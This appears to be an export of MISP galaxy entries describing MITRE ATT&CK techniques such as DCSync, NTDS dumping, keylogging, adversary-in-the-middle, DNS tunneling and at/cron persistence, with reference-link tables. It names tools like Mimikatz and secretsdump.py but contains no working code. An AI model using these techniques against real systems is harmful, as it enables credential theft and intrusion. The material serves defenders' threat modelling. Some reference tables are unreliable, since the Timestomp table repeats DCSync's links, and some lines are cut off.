<td><a href="https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html">https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html</a></td>
</tr>
</tbody>
</table>

## Content Injection - T1659

Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other data to already compromised systems. (Citation: ESET MoustachedBouncer)

Adversaries may inject content to victim systems in various ways, including:

- From the middle, where the adversary is in-between legitimate online client-server communications (Note: this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557), which describes AiTM activity solely within an enterprise environment) (Citation: Kaspersky Encyclopedia MiTM)

- From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server (Citation: Kaspersky ManOnTheSide)

Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with "lawful interception." (Citation: Kaspersky ManOnTheSide)(Citation: ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)
Table 5856. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1659">https://attack.mitre.org/techniques/T1659</a></td>
</tr>
<tr>
<td><a href="https://usa.kaspersky.com/blog/man-on-the-side/27854/">https://usa.kaspersky.com/blog/man-on-the-side/27854/</a></td>
</tr>
<tr>
<td><a href="https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack">https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack</a></td>
</tr>
</tbody>
</table>

**System Services - T1569**

Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.

The tag is: misp-galaxy:mitre-attack-pattern="System Services - T1569"

Table 5857. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1569">https://attack.mitre.org/techniques/T1569</a></td>
</tr>
</tbody>
</table>

**Develop Capabilities - T1587**

Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. (Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.

The tag is: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587"

Table 5858. Table References
Obtain Capabilities - T1588

Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)

In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)

The tag is: `misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588"`

Table 5859. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1588">https://attack.mitre.org/techniques/T1588</a></td>
</tr>
<tr>
<td><a href="https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/">https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop">https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop</a></td>
</tr>
<tr>
<td><a href="https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/">https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/cobalt-strike-servers/">https://www.recordedfuture.com/cobalt-strike-servers/</a></td>
</tr>
</tbody>
</table>
Adversary-in-the-Middle - T1638

Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642).

[Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1638) can be achieved through several mechanisms, such as a malicious application registering itself as a VPN client. By doing this, the adversary can effectively redirect device traffic to wherever they want. However, registering as a VPN client requires user consent on both Android and iOS. Additionally, on iOS, the application requires a special entitlement that must be granted by Apple. Alternatively, if an application is able to escalate privileges, it can potentially utilize those privileges to gain access to network traffic.

Outside of a mobile device, adversaries may be able to capture traffic by employing a rogue base station or Wi-Fi access point. These devices will allow adversaries to capture network traffic after it has left the device, while it is flowing to its destination. On a local network, enterprise techniques could be used, such as DNS redirection or DNS poisoning.

If applications properly encrypt their network traffic, sensitive data may not be accessible an adversary, depending on the point of capture.

The tag is: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1638"

Table 5860. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1638">https://attack.mitre.org/techniques/T1638</a></td>
</tr>
</tbody>
</table>

Adversary-in-the-Middle - T1557

Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)

For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: tint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner)
Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies. (Citation: volexity_0day_sophos_FW) Downgrade Attack can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. (Citation: mitm_tls_downgrade_att) Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to Impair Defenses and/or in support of a Network Denial of Service. (https://attack.mitre.org/techniques/T1498)

The tag is: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557"

Table 5861. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://arxiv.org/abs/1809.05681">https://arxiv.org/abs/1809.05681</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1557">https://attack.mitre.org/techniques/T1557</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/ad-blocker-with-miner-included/101105/">https://securelist.com/ad-blocker-with-miner-included/101105/</a></td>
</tr>
<tr>
<td><a href="https://tlseminar.github.io/downgrade-attacks/">https://tlseminar.github.io/downgrade-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/">https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/</a></td>
</tr>
</tbody>
</table>

Add-ins - T1137.006

Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)

Add-ins can be used to obtain persistence because they can be set to execute code when an Office application starts.

The tag is: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006"

Table 5862. Table References
Regsvcs/Regasm - T1218.009

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: `<code>[ComRegisterFunction]</code>` or `<code>[ComUnregisterFunction]</code>` respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)

The tag is: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009"

Table 5863. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/009">https://attack.mitre.org/techniques/T1218/009</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regasm/">https://lolbas-project.github.io/lolbas/Binaries/Regasm/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/">https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/</a></td>
</tr>
</tbody>
</table>

Steganography - T1001.002

Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.

The tag is: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002"
NTDS - T1003.003

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in `<code>%SystemRoot%\NTDS\Ntds.dit</code>` of a domain controller. (Citation: Wikipedia Active Directory)

In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information. (Citation: Metcalf 2015)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

- Volume Shadow Copy
- secretsdump.py
- Using the in-built Windows tool, ntdsutil.exe
- Invoke-NinjaCopy

The tag is: `misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"`

DCSync - T1003.006

Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.

Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in...
turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098) (Citation: InsiderThreat ChangeNTLM July 2017).

DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002) (Citation: GitHub Mimikatz Lsadump Module). Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol (Citation: Microsoft NRPC Dec 2017).

The tag is: `misp-galaxy:mitre-attack-pattern="DCSync - T1003.006"`

### Table 5866. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/">http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=1729">https://adsecurity.org/?p=1729</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003/006">https://attack.mitre.org/techniques/T1003/006</a></td>
</tr>
<tr>
<td><a href="https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM">https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/cc228086.aspx">https://msdn.microsoft.com/library/cc228086.aspx</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/cc237008.aspx">https://msdn.microsoft.com/library/cc237008.aspx</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/cc245496.aspx">https://msdn.microsoft.com/library/cc245496.aspx</a></td>
</tr>
<tr>
<td><a href="https://source.winehq.org/WineAPI/samlib.html">https://source.winehq.org/WineAPI/samlib.html</a></td>
</tr>
<tr>
<td><a href="https://wiki.samba.org/index.php/DRSUAPI">https://wiki.samba.org/index.php/DRSUAPI</a></td>
</tr>
</tbody>
</table>

**Timestomp - T1070.006**

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools (Citation: WindowsIR Anti-Forensic Techniques).

The tag is: `misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"`

### Table 5867. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/">http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=1729">https://adsecurity.org/?p=1729</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003/006">https://attack.mitre.org/techniques/T1003/006</a></td>
</tr>
<tr>
<td><a href="https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM">https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/cc228086.aspx">https://msdn.microsoft.com/library/cc228086.aspx</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/cc237008.aspx">https://msdn.microsoft.com/library/cc237008.aspx</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/library/cc245496.aspx">https://msdn.microsoft.com/library/cc245496.aspx</a></td>
</tr>
<tr>
<td><a href="https://source.winehq.org/WineAPI/samlib.html">https://source.winehq.org/WineAPI/samlib.html</a></td>
</tr>
<tr>
<td><a href="https://wiki.samba.org/index.php/DRSUAPI">https://wiki.samba.org/index.php/DRSUAPI</a></td>
</tr>
</tbody>
</table>

2816
SSH - T1021.004

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user's public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.

The tag is: `misp-galaxy:mitre-attack-pattern="SSH - T1021.004"`

<table>
<thead>
<tr>
<th>Table 5868. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1021/004">https://attack.mitre.org/techniques/T1021/004</a></td>
</tr>
</tbody>
</table>

VNC - T1021.005

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). VNC is a platform-independent desktop sharing system that uses the RFB (“remote framebuffer”) protocol to enable users to remotely control another computer's display by relaying the screen, mouse, and keyboard inputs over the network.(Citation: The Remote Framebuffer Protocol)

VNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) as VNC is screen-sharing software rather than resource-sharing software. By default, VNC uses the system’s authentication, but it can be configured to use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation: VNC Authentication)

Adversaries may abuse VNC to perform malicious actions as the logged-on user such as opening documents, downloading files, and running arbitrary commands. An adversary could use VNC to remotely control and monitor a system to collect data and information to pivot to other systems within the network. Specific VNC libraries/implementations have also been susceptible to brute force attacks and memory usage exploitation.(Citation: Hijacking VNC)(Citation: macos root VNC login without authentication)(Citation: VNC Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation: Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)

The tag is: `misp-galaxy:mitre-attack-pattern="VNC - T1021.005"`
Steganography - T1406.001

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

The tag is: *misp-galaxy:mitre-attack-pattern="Steganography - T1406.001"*

DNS - T1071.004

Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

The DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is
completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling)

The tag is: misp-galaxy:mitre-attack-pattern="DNS - T1071.004"

Table 5871. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1071/004">https://attack.mitre.org/techniques/T1071/004</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000">https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000</a></td>
</tr>
<tr>
<td><a href="https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling">https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling</a></td>
</tr>
</tbody>
</table>

### Keylogging - T1056.001

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:

- Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.
- Reading raw keystroke data from the hardware buffer.
- Windows Registry modifications.
- Custom drivers.
- [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

The tag is: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"

Table 5872. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf">http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1056/001">https://attack.mitre.org/techniques/T1056/001</a></td>
</tr>
</tbody>
</table>
PowerShell - T1059.001

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `<code>Start-Process</code>` cmdlet which can be used to run an executable and the `<code>Invoke-Command</code>` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the `<code>powershell.exe</code>` binary through interfaces to PowerShell's underlying `<code>System.Management.Automation</code>` assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"

Table 5873. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/001">https://attack.mitre.org/techniques/T1059/001</a></td>
</tr>
<tr>
<td><a href="https://github.com/jaredhaight/PSAttack">https://github.com/jaredhaight/PSAttack</a></td>
</tr>
<tr>
<td><a href="https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/">https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html">https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html</a></td>
</tr>
</tbody>
</table>
Adversaries may abuse the `[at](https://attack.mitre.org/software/S0110)` utility to perform task scheduling for initial or recurring execution of malicious code. The `[at](https://attack.mitre.org/software/S0110)` utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s `[schtasks](https://attack.mitre.org/software/S0111)` in Windows environments, using `[at](https://attack.mitre.org/software/S0110)` requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.

On Linux and macOS, `[at](https://attack.mitre.org/software/S0110)` may be invoked by the superuser as well as any users added to the `<code>at.allow</code>` file. If the `<code>at.allow</code>` file does not exist, the `<code>at.deny</code>` file is checked. Every username not listed in `<code>at.deny</code>` is allowed to invoke `[at](https://attack.mitre.org/software/S0110)`. If the `<code>at.deny</code>` exists and is empty, global use of `[at](https://attack.mitre.org/software/S0110)` is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use `[at](https://attack.mitre.org/software/S0110)`.(Citation: Linux at)

Adversaries may use `[at](https://attack.mitre.org/software/S0110)` to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). `[at](https://attack.mitre.org/software/S0110)` can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).

In Linux environments, adversaries may also abuse `[at](https://attack.mitre.org/software/S0110)` to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, `[at](https://attack.mitre.org/software/S0110)` may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via `<code>sudo</code>`.(Citation: GTFObins at)

The tag is: `misp-galaxy:mitre-attack-pattern="At - T1053.002"`

**Table 5874. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1053/002">https://attack.mitre.org/techniques/T1053/002</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events">https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events</a></td>
</tr>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/at/">https://gtfobins.github.io/gtfobins/at/</a></td>
</tr>
</tbody>
</table>
Steganography - T1027.003

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)

By the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

The tag is: *misp-galaxy:mitre-attack-pattern="Steganography - T1027.003"*

### Table 5875. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/003">https://attack.mitre.org/techniques/T1027/003</a></td>
</tr>
<tr>
<td><a href="https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/">https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/</a></td>
</tr>
</tbody>
</table>

AppleScript - T1059.002

Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)

AppleScripts do not need to call &lt;code&gt;osascript&lt;/code&gt; to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](<a
Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they’re already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)

The tag is: misp-galaxy:mitre-attack-pattern="AppleScript - T1059.002"

### DNS - T1590.002

Adversaries may gather information about the victim’s DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)

Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
Cron - T1053.003

Adversaries may abuse the `<code>cron</code>` utility to perform task scheduling for initial or recurring execution of malicious code. The `<code>cron</code>` utility is a time-based job scheduler for Unix-like operating systems. The `<code>crontab</code>` file contains the schedule of cron entries to be run and the specified times for execution. Any `<code>crontab</code>` files are stored in operating system-specific file paths.

An adversary may use `<code>cron</code>` in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).

Launchd - T1053.004

This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself.

